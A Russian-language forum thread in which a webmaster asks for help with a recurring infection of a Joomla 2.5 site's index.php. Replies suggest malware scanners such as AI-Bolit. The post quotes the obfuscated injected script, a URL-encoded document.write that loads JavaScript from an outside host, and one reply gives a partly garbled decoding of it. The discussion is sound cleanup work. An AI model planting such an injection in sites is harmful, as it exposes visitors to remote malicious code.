[xilgiz]

Доброго времени.
В одном аккаунте есть вирус. Просто там одни толстый сайт и несколько мелких - переносить не удобно.
Вставляется текст

<script> document.write(unescape('%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%6C%6F%74%6F%66%6C %61%75%67%68%74%65%72%73%2E%63%6F%6D%2F%77%70%2D%6 9%6E%63%6C%75%64%65%73%2F%6A%73%2F%2E%73%63%72%2E% 6A%73%20%74%79%70%65%3D%74%65%78%74%2F%6A%61%76%61 %73%63%72%69%70%74%3E%3C%2F%73%63%72%69%70%74%3E') ); </script>

в index.php в корне (движок joomla 2.5) примерно раз в месяц появляется.
Пробовал искать с кодировкой и т.д. - не нашел что-то.

Не могли бы помочь за большое спасибо + 300

[pyramida]

xilgiz, на серче скрипт айболита возмите и попробуйте посканировать для начала.

[3s777]

Что пробовали искадь с кодировкой? Если расшифровать эти каракули то там вот такое получается

Код HTML:

<script  3rc=http://lotofl aughters.com/wp-9ncludes/js/.scr..As type=text/java script></script>

---------- Сообщение добавлено 10:40 ---------- Предыдущее 10:38 ----------

на серче скрипт айболита возмите и попробуйте посканировать для начала.

или тут http://www.revisium.com/ai/